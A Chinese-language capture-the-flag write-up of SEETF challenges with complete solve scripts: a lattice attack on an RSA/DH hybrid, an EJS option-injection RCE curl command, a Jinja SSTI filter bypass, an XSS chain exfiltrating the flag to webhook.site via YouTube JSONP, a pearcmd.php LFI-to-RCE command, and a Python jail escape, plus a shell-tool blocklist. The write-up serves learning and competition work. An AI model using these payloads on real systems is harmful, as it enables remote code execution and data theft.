在知道 之後可列出 ，其中 約 256 bits，所以應該能用 coppersmith 處理。不過這個因為對 coppersmith 來說很緊，我這邊打算從 MSB 爆 6 bits 以換取使用比較小的 lattice 的機會。

後來和別人討論知道可以改從 LSB 爆，因為 lowest bit 一定是

所以目前對於每一組可能的 都需要做 次 coppersmith，而一次 coppersmith 我透過使用 flatter 也要大概 4s，依照我自己 local 測平均來說至少有個 100 組 。不過實際上拿這題給的參數來說得到的結果是 13 組，應該是有特別選過讓我們不用花費那麼多時間去解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from sage.all import *
from Crypto.Util.number import getPrime
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from secrets import randbelow
from hashlib import sha256
from math import isqrt
from gmpy2 import iroot
import os
from re import findall
from subprocess import check_output
from binteger import Bin
import time


def flatter(M):
    # compile https://github.com/keeganryan/flatter and put it in $PATH
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
    ret = check_output(["flatter"], input=z.encode())
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))


def small_roots(self, X=None, beta=1.0, epsilon=None, **kwds):
    from sage.misc.verbose import verbose
    from sage.matrix.constructor import Matrix
    from sage.rings.real_mpfr import RR

    N = self.parent().characteristic()

    if not self.is_monic():
        raise ArithmeticError("Polynomial must be monic.")

    beta = RR(beta)
    if beta <= 0.0 or beta > 1.0:
        raise ValueError("0.0 < beta <= 1.0 not satisfied.")

    f = self.change_ring(ZZ)

    P, (x,) = f.parent().objgens()

    delta = f.degree()

    if epsilon is None:
        epsilon = beta / 8
    verbose("epsilon = %f" % epsilon, level=2)

    m = max(beta**2 / (delta * epsilon), 7 * beta / delta).ceil()
    verbose("m = %d" % m, level=2)

    t = int((delta * m * (1 / beta - 1)).floor())
    verbose("t = %d" % t, level=2)

    if X is None:
        X = (0.5 * N ** (beta**2 / delta - epsilon)).ceil()
    verbose("X = %s" % X, level=2)

    # we could do this much faster, but this is a cheap step
    # compared to LLL
    g = [x**j * N ** (m - i) * f**i for i in range(m) for j in range(delta)]
    g.extend([x**i * f**m for i in range(t)])  # h

    B = Matrix(ZZ, len(g), delta * m + max(delta, t))
    for i in range(B.nrows()):
        for j in range(g[i].degree() + 1):
            B[i, j] = g[i][j] * X**j

    B = flatter(B)

    f = sum([ZZ(B[0, i] // X**i) * x**i for i in range(B.ncols())])
    R = f.roots()

    ZmodN = self.base_ring()
    roots = set([ZmodN(r) for r, m in R if abs(r) <= X])
    Nbeta = N**beta
    return [root for root in roots if N.gcd(ZZ(self(root))) >= Nbeta]


n = 1161015060421173249378489750696141214060303995923395409949869627290702414711037093526198110777404654144671511905235970901959421941338918435310121680847960495861908297742489794351582662630349642895448557106366299469185588064602696326307097833183222618147069201840931225638628664922527925446087898861911362296363707119536526988582293048832383727953537307881230552636876712648271763176414090693303330350561279137776236795557842517619318238674985177929118712632535276039722205485150858981762083451832198822805690978929644453571222056709020149454001970560788598661970600271777421115525813743829030780059906217282681595452585004568419042410526300322447735538760602735954395278435630672731534059367618977970735807007280799837797901568012970516722520855615007870137859951477843419061096544616574048523021228941390127574301951810764886209442755752935524998421986069973124626502475162497047801043794416002937577783146899612599092388787
A = 876856141867292541860323607264082069255499862749334652735605729433263443804539762724150146934351375350393080114923847779749893293139584686005392355141769986430382993358683972707818914126482354483753880940178023315634960922958253129075068286464920817560904484085316514309721680971508734869398801188634461566010739991385436551918949592308754421274535616460564680136888906568520377323715782357509089190820453332054156572172466552802449761288220780274972832498692580255837884665986978378035841349843031182334647618147782842049846153066181892449539407745486014499636387858777511312613142984882310305184710764200146570459723866686802492176613030166678729173421755638026624369502464133911152877741923335829863164896950580382969467402969579748979746430740394953571425965962087121649198611419063708096301382847206823372253864792103755888994838934565521982402277844450137390594607102522657031671082063652219166034186562490760814532579
B = 287632227917624654212614562649343874383417428057330805237209169637026908557410569116739444108514384266685475678850601667911684150076525797991252031688869217089950247006850937786118259851817500044754131047963987707992467875713170336353659270924179467464836139578541900688370920519460119004845929450828524305499363274758459994420143563155593544731412056092492994042903315707705208959629847419957728142635524372296868834143016326096908127353866551528921319266146109788458033229140227479625927790051152685157231719361353398932500869549791514313894503151218196435978062246049426212499132086244127866741759522252412600587230711377821184153990120408229678096104763349842116878130234588134513252819344719559051734230776027339643260314327324982833200026332745447375624996928647322777183407239934048172826864244183355762705665502558087550433846102991894817404579682993484842986669591555105822532717319110007844731813526601115030730216
ct = "fc8c67c8c451db0277fdc0b3ee6cd8e4d6584e00079a3326413450a1e816f4b463fa6e58148e25145cbdd0703847bc48"
hint = 27232338411805533611504752479750933666365962695083952636081656664814520651947
p = 8129350453106964681981850657424361197868719068307155378517865139012909625358514986412144556443475408498368894473527345313464525210359939656469319473379609
pq = iroot(n, 3)[0]


def dfs(spv, i):
    if i >= 256:
        yield Bin(spv, 256), Bin(Bin(spv).int ^ hint, 256)
    if i >= 256:
        return
    for b in (1, 0):
        spv[i] = b
        tsp = Bin(spv).int
        tsq = tsp ^ hint
        p = tsp**2
        q = tsq**2
        if 0 <= (pq - p * q) <= 2 ** (1024 - i + 1) and 0 <= (
            isqrt(pq) - tsp * tsq
        ) <= 2 ** (512 - i + 1):
            yield from dfs(spv[:], i + 1)


spv = [0] * 256
results = []
for spc, sqc in dfs(spv, 0):
    d = pq - spc.int**2 * sqc.int**2
    results.append((d, spc.int, sqc.int))
for i, (_, spci, sqci) in enumerate(sorted(results)):
    print((spci - (isqrt(pq) // sqci)).bit_length())


def copp_factor(sp, leak=6):
    for tb in range(1 << leak):
        print("copp", tb, int(time.time()))
        shift = 256 - leak
        P = Zmod(pq)["x"]
        x = P.gen()
        f = sp.int**2 + (tb << shift) + x
        X = 2 ** (256 - leak)
        beta = 0.499
        eps = 0.01
        # rs = f.small_roots(X=X, beta=beta, epsilon=eps)
        rs = small_roots(f, X=X, beta=beta, epsilon=eps)
        if len(rs):
            return sp.int**2 + (tb << shift) + int(rs[0])


for i, (_, spci, _) in enumerate(sorted(results)):
    print(spci)
    print(i, p := copp_factor(Bin(spci, 256)))
    if p:
        q = pq // p
        print(p, q)
        assert p * q == pq
        break

分解完之後就是要解 的 DLP，這邊可以分成 和 底下的 DLP 解完再用 CRT 合併。

底下這種類似 paillier 的情況可以透過二項式定理或是 p-adic logarithm 解出 的值，兩邊 CRT 回來之後我們有大概 2048 bits 的資訊。不過在生成 private key 時的 randbelow(3**1337) 其實比這個要大點，因為 。

這部分的話就是找 的一些小 group 用 pohlig hellman 解 subgroup DLP 最後把全部 CRT 起來就能找到 private key 了，由此能推得 shared key 解密 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Cipher import AES
from hashlib import sha256
from Crypto.Util.Padding import unpad

n = 1161015060421173249378489750696141214060303995923395409949869627290702414711037093526198110777404654144671511905235970901959421941338918435310121680847960495861908297742489794351582662630349642895448557106366299469185588064602696326307097833183222618147069201840931225638628664922527925446087898861911362296363707119536526988582293048832383727953537307881230552636876712648271763176414090693303330350561279137776236795557842517619318238674985177929118712632535276039722205485150858981762083451832198822805690978929644453571222056709020149454001970560788598661970600271777421115525813743829030780059906217282681595452585004568419042410526300322447735538760602735954395278435630672731534059367618977970735807007280799837797901568012970516722520855615007870137859951477843419061096544616574048523021228941390127574301951810764886209442755752935524998421986069973124626502475162497047801043794416002937577783146899612599092388787
A = 876856141867292541860323607264082069255499862749334652735605729433263443804539762724150146934351375350393080114923847779749893293139584686005392355141769986430382993358683972707818914126482354483753880940178023315634960922958253129075068286464920817560904484085316514309721680971508734869398801188634461566010739991385436551918949592308754421274535616460564680136888906568520377323715782357509089190820453332054156572172466552802449761288220780274972832498692580255837884665986978378035841349843031182334647618147782842049846153066181892449539407745486014499636387858777511312613142984882310305184710764200146570459723866686802492176613030166678729173421755638026624369502464133911152877741923335829863164896950580382969467402969579748979746430740394953571425965962087121649198611419063708096301382847206823372253864792103755888994838934565521982402277844450137390594607102522657031671082063652219166034186562490760814532579
B = 287632227917624654212614562649343874383417428057330805237209169637026908557410569116739444108514384266685475678850601667911684150076525797991252031688869217089950247006850937786118259851817500044754131047963987707992467875713170336353659270924179467464836139578541900688370920519460119004845929450828524305499363274758459994420143563155593544731412056092492994042903315707705208959629847419957728142635524372296868834143016326096908127353866551528921319266146109788458033229140227479625927790051152685157231719361353398932500869549791514313894503151218196435978062246049426212499132086244127866741759522252412600587230711377821184153990120408229678096104763349842116878130234588134513252819344719559051734230776027339643260314327324982833200026332745447375624996928647322777183407239934048172826864244183355762705665502558087550433846102991894817404579682993484842986669591555105822532717319110007844731813526601115030730216
ct = "fc8c67c8c451db0277fdc0b3ee6cd8e4d6584e00079a3326413450a1e816f4b463fa6e58148e25145cbdd0703847bc48"
hint = 27232338411805533611504752479750933666365962695083952636081656664814520651947
pq = n.nth_root(3)
p = 8129350453106964681981850657424361197868719068307155378517865139012909625358514986412144556443475408498368894473527345313464525210359939656469319473379609
q = pq // p
assert p * q == pq

Rp = Zp(p, 3)
a_mod_p2 = (Rp(A).log() / Rp(3).log()).lift()
print(a_mod_p2)
g = pow(3, p - 1, p**3)
y = pow(A, p - 1, p**3)
print(pow(g, a_mod_p2, p**3) == y)
print(pow(3, a_mod_p2, p**3) == A % (p**3))
Rq = Zq(q, 3)
a_mod_q2 = (Rq(A).log() / Rq(3).log()).lift()
print(a_mod_q2)
g = pow(3, q - 1, q**3)
y = pow(A, q - 1, q**3)
print(pow(g, a_mod_q2, q**3) == y)
print(pow(3, a_mod_q2, q**3) == A % (q**3))

cf_p = 1959820416307046535223558836872409986635598251161899159264123569744487202217621311192551314468443514345911835240205470995427509406607734841
cf_q = 29959119000199690269712965540702271390974156502261317099624887976435590583657556550911711352412637519078021289573136033385314147803936469913672429
assert (p - 1) % cf_p == 0
assert (q - 1) % cf_q == 0

odp = (p - 1) // cf_p
print(odp, odp.bit_length())
R = Zmod(p**3)
a_mod_odp = discrete_log(R(A) ** (p**2 * cf_p), R(3) ** (p**2 * cf_p), ord=odp)

odq = (q - 1) // cf_q
print(odq, odq.bit_length())
R = Zmod(q**3)
a_mod_odq = discrete_log(R(A) ** (q**2 * cf_q), R(3) ** (q**2 * cf_q), ord=odq)

a = crt([a_mod_p2, a_mod_q2, a_mod_odp, a_mod_odq], [p**2, q**2, odp, odq])
print(a.bit_length())
print(pow(3, a, p**3) == A % (p**3))

shared = pow(B, a, n)
key = sha256(str(shared).encode()).digest()
flag = unpad(AES.new(key, AES.MODE_ECB).decrypt(bytes.fromhex(ct)), 16)
print(flag)
# SEE{Cryptic_clue:_Bit_of_RSA_mixed_with_DH}

Web

Express JavaScript Security

又是 ejs 3.1.9...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const express = require('express');
const ejs = require('ejs');

const app = express();

app.set('view engine', 'ejs');

const BLACKLIST = [
    "outputFunctionName",
    "escapeFunction",
    "localsName",
    "destructuredLocals"
]

app.get('/', (req, res) => {
    return res.render('index');
});

app.get('/greet', (req, res) => {
    
    const data = JSON.stringify(req.query);

    if (BLACKLIST.find((item) => data.includes(item))) {
        return res.status(400).send('Can you not?');
    }

    return res.render('greet', {
        ...JSON.parse(data),
        cache: false
    });
});

app.listen(3000, () => {
    console.log('Server listening on port 3000')
})

和這篇差不多，不過這次 escapeFunction 被擋了，所以自己追進去 express 之後發現原來有個 escape 可以當作 escapeFunction 的 alias 用，這樣就能繞過了。

1
2
curl 'http://ejs.web.seetf.sg:1337/greet' -G --data-urlencode 'settings[view%20options][debug]=true' --data-urlencode 'settings[view%20options][client]=true' --data-urlencode 'settings[view%20options][escape]=(() => {});return process.mainModule.require("child_process").execSync("/readflag").toString()'
# SEE{0h_n0_h0w_d1d_y0u_ch4ng3_my_0pt10ns}

file uploader 1

SSTI filter bypass 題 :(

核心在這，其中 file.filename 可控，不過裡面的 " 都會被 encode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
template = f"""
    {file.filename} is not valid because it is too big or has the wrong extension
"""
l1 = ['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\'] 

l2 = ['aa-exec', 'agetty', 'alpine', 'ansible-playbook', 'ansible-test', 'aoss', 'apt', 'apt-get', 'aria2c', 'arj', 'arp', 'ascii-xfr', 'ascii85', 'ash', 'aspell', 'atobm', 'awk', 'aws', 'base', 'base32', 'base58', 'base64', 'basenc', 'basez', 'bash', 'batcat', 'bconsole', 'bpftrace', 'bridge', 'bundle', 'bundler', 'busctl', 'busybox', 'byebug', 'bzip2', 'c89', 'c99', 'cabal', 'cancel', 'capsh', 'cat', 'cdist', 'certbot', 'check_by_ssh', 'check_cups', 'check_log', 'check_memory', 'check_raid', 'check_ssl_cert', 'check_statusfile', 'chmod', 'choom', 'chown', 'chroot', 'cmp', 'cobc', 'column', 'comm', 'comm ', 'composer', 'cowsay', 'cowthink', 'cpan', 'cpio', 'cpulimit', 'crash', 'crontab', 'csh', 'csplit', 'csvtool', 'cupsfilter', 'curl', 'cut', 'dash', 'date', 'debug', 'debugfs', 'dialog', 'diff', 'dig', 'dir', 'distcc', 'dmesg', 'dmidecode', 'dmsetup', 'dnf', 'docker', 'dos2unix', 'dosbox', 'dotnet', 'dpkg', 'dstat', 'dvips', 'easy_install', 'echo', 'efax', 'elvish', 'emacs', 'env', 'eqn', 'espeak', 'exiftool', 'expand', 'expect', 'facter', 'file', 'find', 'finger', 'fish', 'flock', 'fmt', 'fold', 'fping', 'ftp', 'gawk', 'gcc', 'gcloud', 'gcore', 'gdb', 'gem', 'genie', 'genisoimage', 'ghc', 'ghci', 'gimp', 'ginsh', 'git', 'grc', 'grep', 'gtester', 'gzip', 'head', 'hexdump', 'highlight', 'hping3', 'iconv', 'ifconfig', 'iftop', 'install', 'ionice', 'irb', 'ispell', 'jjs', 'joe', 'join', 'journalctl', 'jrunscript', 'jtag', 'julia', 'knife', 'ksh', 'ksshell', 'ksu', 'kubectl', 'latex', 'latexmk', 'ld.so', 'ldconfig', 'less', 'less ', 'lftp', 'loginctl', 'logsave', 'look', 'ltrace', 'lua', 'lualatex', 'luatex', 'lwp-download', 'lwp-request', 'mail', 'make', 'man', 'mawk', 'more', 'mosquitto', 'mount', 'msfconsole', 'msgattrib', 'msgcat', 'msgconv', 'msgfilter', 'msgmerge', 'msguniq', 'mtr', 'multitime', 'mysql', 'nano', 'nasm', 'nawk', 'ncftp', 'neofetch', 'netstat', 'nft', 'nice', 'nmap', 'node', 'nohup', 'npm', 'nroff', 'nsenter', 'nslookup', 'octave', 'openssl', 'openvpn', 'openvt', 'opkg', 'pandoc', 'paste', 'pax', 'pdb', 'pdflatex', 'pdftex', 'perf', 'perl', 'perlbug', 'pexec', 'php', 'pic', 'pico', 'pidstat', 'ping', 'pip', 'pkexec', 'pkg', 'posh', 'pry', 'psftp', 'psql', 'ptx', 'puppet', 'pwsh', 'rake', 'readelf', 'red', 'redcarpet', 'redis', 'restic', 'rev', 'rlogin', 'rlwrap', 'route', 'rpm', 'rpmdb', 'rpmquery', 'rpmverify', 'rsync', 'rtorrent', 'ruby', 'run-mailcap', 'run-parts', 'rview', 'rvim', 'sash', 'scanmem', 'scp', 'screen', 'script', 'scrot', 'sed', 'service', 'setarch', 'setfacl', 'setlock', 'sftp', 'shuf', 'slsh', 'smbclient', 'snap', 'socat', 'socket', 'soelim', 'softlimit', 'sort', 'split', 'sqlite3', 'sqlmap', 'ssh', 'ssh-agent', 'ssh-keygen', 'ssh-keyscan', 'sshpass', 'start-stop-daemon', 'stdbuf', 'strace', 'strings', 'sysctl', 'systemctl', 'systemd-resolve', 'tac', 'tail', 'tar', 'task', 'taskset', 'tasksh', 'tbl', 'tclsh', 'tcpdump', 'tdbtool', 'tee', 'telnet', 'tex', 'tftp', 'time', 'timedatectl', 'timeout', 'tmate', 'tmux', 'top', 'torify', 'torsocks', 'touch', 'traceroute', 'troff', 'truncate', 'tshark', 'unexpand', 'uniq', 'unshare', 'unzip', 'update-alternatives', 'uudecode', 'uuencode', 'vagrant', 'valgrind', 'view', 'vigr', 'vim', 'vimdiff', 'vipw', 'virsh', 'volatility', 'w3m', 'wall', 'watch', 'wget', 'whiptail', 'whois', 'wireshark', 'wish', 'xargs', 'xdotool', 'xelatex', 'xetex', 'xmodmap', 'xmore', 'xpad', 'xxd', 'yarn', 'yash', 'yelp', 'yum', 'zathura', 'zip', 'zsh', 'zsoelim', 'zypper']


for i in l1:
    if i in template.lower():
        print(template, i, file=sys.stderr)
        template = "nice try 1"
        break
matches = re.findall(r"['\"](.*?)['\"]", template)
for match in matches:
    print(match, file=sys.stderr)
    if not re.match(r'^[a-zA-Z0-9 \/\.\-]+$', match):
        template = "nice try 2"
        break
    for i in l2:
        if i in match.lower():
            print(i, file=sys.stderr)
            template = "nice try 3"
            break
template += '{{ x }}'
return render_template_string(template)

總之我用 session.update(_=1); session.keys() 湊出 _ 字串，然後用 str.__class__.__add__ 去 concat，之後從 g.pop 上面串一串就出來了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
from base64 import b64decode
import json


def decode_sess(sess):
    t = sess.split(".")[0]
    t += "=" * (-len(t) % 4)
    print(b64decode(t))
    return json.loads(b64decode(t).decode())


# host = "http://localhost:29384"
host = "http://fu1.web.seetf.sg:1337"

sess = requests.Session()
sess.get(f"{host}/")
FILENAME = """{% set a=session.update(_=1) %}
{% set x=session.keys().__iter__() %}
{% set _=x.__next__() %}
{% set _=x.__next__() %}
{% set ud=x.__next__() %}
{% set add='a'.__class__.__add__ %}
{% set ud2=add(ud,ud) %}
{% set x=g.pop[add(add(ud2,'glob'),add('als',ud2))][add(add(ud2,'builtins'),ud2)].open('/home/userr/app/flag.txt')[add('re','ad')]()[:50] %}
{% set x=session.update(uuid=None,x=x) %}.asd""".replace(
    "\n", ""
)
CONTENT = "PEKO"
r = sess.post(f"{host}/upload", files={"file": (FILENAME, CONTENT)})
print(r.text)
print(decode_sess(sess.cookies["session"]))
# SEE{y0U_6yPa55Ed_FuNny_55t1_f1lTer5}

Star Cereal Episode 4: A New Pigeon

重點部分在這邊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const serialize = require('serialize-javascript');  // 6.0.1
const xssFilters = require('xss-filters')  // 1.2.7

// omitted...

app.all('/', (req, res) => {

    const nonce = crypto.randomBytes(32).toString('hex');

    res.set("Content-Security-Policy", "default-src 'self' www.youtube.com 'nonce-" + nonce + "'");

    let scriptElement = `<script nonce="${nonce}">`;

    if (req.session.username && req.session.cereal) {
        scriptElement += "window.__SESSION__ ="
        try {
            scriptElement += serialize({
                username: xssFilters.inDoubleQuotedAttr(req.session.username),
                cereal: new URL(xssFilters.inDoubleQuotedAttr(req.session.cereal))
            })
        }
        catch (e) {
            req.session.username = null;
            req.session.cereal = null;
            scriptElement += serialize({})
        }
    }

    scriptElement += "</script>";

    const html = fs.readFileSync('index.html', 'utf8').replace('<!-- SCRIPT -->', scriptElement);
    res.send(html);
});

app.all('/set', (req, res) => {
    req.session.username = req.param('username');
    req.session.cereal = req.param('cereal');
    res.redirect('/');
});

總之追進去 xss-filters 裡面看它對 url 的處理是這樣搞的:

1
2
3
if (type === 'L') {
    return "new URL(\"" + urls[valueIndex].toString() + "\")"; 
}

然後測試一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> new URL('http://asd/</script>').toString()
'http://asd/%3C/script%3E'
> new URL('x://asd/</script>').toString()
'x://asd/%3C/script%3E'
> new URL('http:</script>').toString()
Uncaught TypeError [ERR_INVALID_URL]: Invalid URL
    at __node_internal_captureLargerStackTrace (node:internal/errors:484:5)
    at new NodeError (node:internal/errors:393:5)
    at URL.onParseError (node:internal/url:564:9)
    at new URL (node:internal/url:644:5) {
  input: 'http:</script>',
  code: 'ERR_INVALID_URL'
}
> new URL('x:</script>').toString()
'x:</script>'

可知對於非 http protocol 也沒有 double slash 的 url 來說是不會 escape 的，所以可以直接用 </script> 關閉 script tag 弄 XSS。

CSP 的部分最可疑的是 www.youtube.com，參考這個可知 YT 有個只在 invalid callback 才會觸發的 JSONP，所以可以用這個 XSS 拿 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
    const xss = 'fetch(`/flag`).then(function(r){return r.text()}).then(function(f){location=`https://webhook.site/...?flag=`+f})'
    const jsonp = `https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=${encodeURIComponent(xss)};f`
    const htmlEscape = s => [...s].map(c => '&#' + c.charCodeAt(0) + ';').join('')
    location = 'http://starcereal.web.seetf.sg:1337/set?' + new URLSearchParams({
        username: 'peko',
        cereal: `data:
</`+ `script>
<script src='${htmlEscape(jsonp)}'>
	<`+ `/script>`
    })
</script>
SEE{why_d0_p30pl3_s3r1al1z3_j4v4scr1pt...}

readonly

1
<?php error_reporting(0) && (isset($_GET["page"]) && include "/app/".$_GET["page"]) || header("Location: /?page=birds.html") ?>

這題是個很直接的 php lfi 題，一看到就知道是要打 PEAR。然而它 docker compose 是這樣寫的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
version: "3"
services:
  php:
    build: ./php
    restart: always
    read_only: true # no webshells for you
    volumes:
      - ./readonly:/tmp:ro 
      - ./readonly:/var/www/html:ro 
      - ./readonly:/var/lock:ro 
      - ./readonly:/dev/shm:ro 
      - ./readonly:/var/tmp:ro 
      - ./readonly:/dev/mqueue:ro 
  nginx:
    image: nginx:latest
    restart: always 
    ports:
      - "2000:80"
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/conf.d/default.conf
      - ./php/app:/app/
    depends_on:
      - php

所以並不存在可以寫的目錄 (/dev 只有 root 能寫)，所以要找其他方法。

在這篇 writeup 的最底下我有提過有人在 ASIS CTF Discord 提過 PEAR 有個地方有 code injection，不需要可寫的目錄，只需要存在 phpt 檔案就能觸發。所以我就拿那個來改然後就成功了。

1
2
3
curl -vg $'http://readonly.web.seetf.sg:1337/?page=../../../usr/local/lib/php/pearcmd.php&+run-tests+-i-r"system(hex2bin(\'HEX_CMD\'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt'

# SEE{phpphpphpphpphpphp_41f8b2a8fd1c4e58b361e6dd0ffe9343}

Misc

Another PyJail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from types import CodeType

def clear(code):
    return CodeType(
        code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, 
        code.co_stacksize, code.co_flags, code.co_code, 
        # No consts for youuu
        tuple(clear(c) if isinstance(c, CodeType) else None for c in code.co_consts),
        # No names for youuuu
        (), 
        code.co_varnames, code.co_filename, code.co_name,
        code.co_firstlineno, code.co_lnotab, code.co_freevars, 
        code.co_cellvars
    )

print(eval(clear(compile(input("> "), __name__, "eval")), {'__builtins__': {}}, {})(getattr))

這個 jail 我一看到它把 co_consts 和 co_names 就讓我想起了 HITCON CTF 2022 的 V O I D，透過對固定 address 的 empty tuple 做 OOB 搞事，所以把它拿來改一改就成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from types import CodeType
import unicodedata

def clear(code):
    return CodeType(
        code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, 
        code.co_stacksize, code.co_flags, code.co_code, 
        # No consts for youuu
        tuple(clear(c) if isinstance(c, CodeType) else None for c in code.co_consts),
        # No names for youuuu
        (), 
        code.co_varnames, code.co_filename, code.co_name,
        code.co_firstlineno, code.co_lnotab, code.co_freevars, 
        code.co_cellvars
    )

def getnum(num):
    if num == 0:
        return '(not[[]])'
    return '(' + ('(not[])+' * num)[:-1] + ')'

names = []
chr_code = 0
for x in range(1500):
    while True:
        chr_code += 1
        char = unicodedata.normalize('NFKC', chr(chr_code))
        if char.isidentifier() and char not in names:
            names.append(char)
            break

table = {
    '__iter__': 710,
    '__reversed__': 713,
    '__doc__': 716,
    '__dir__': 1144,
}
def load_name(name):
    return names[table[name]]
builtins = f'fn(fn,fn.{load_name("__dir__")}()[{getnum(15)}])'
code = f'''lambda fn: [{",".join(names)}] if [] else [
    fn({builtins},{builtins}.{load_name("__dir__")}()[{getnum(12)}])()]
'''
print(code)  # copy this to the server
co = clear(compile(code, __name__, "eval"))
print(co.co_consts)
print(id(co.co_consts), id(co.co_names))
val = eval(co, {'__builtins__': {}}, {})(getattr)
print(val)
# SEE{D0nt_Y0u_h4Te_tYp05_4lL_tHE_t1M3}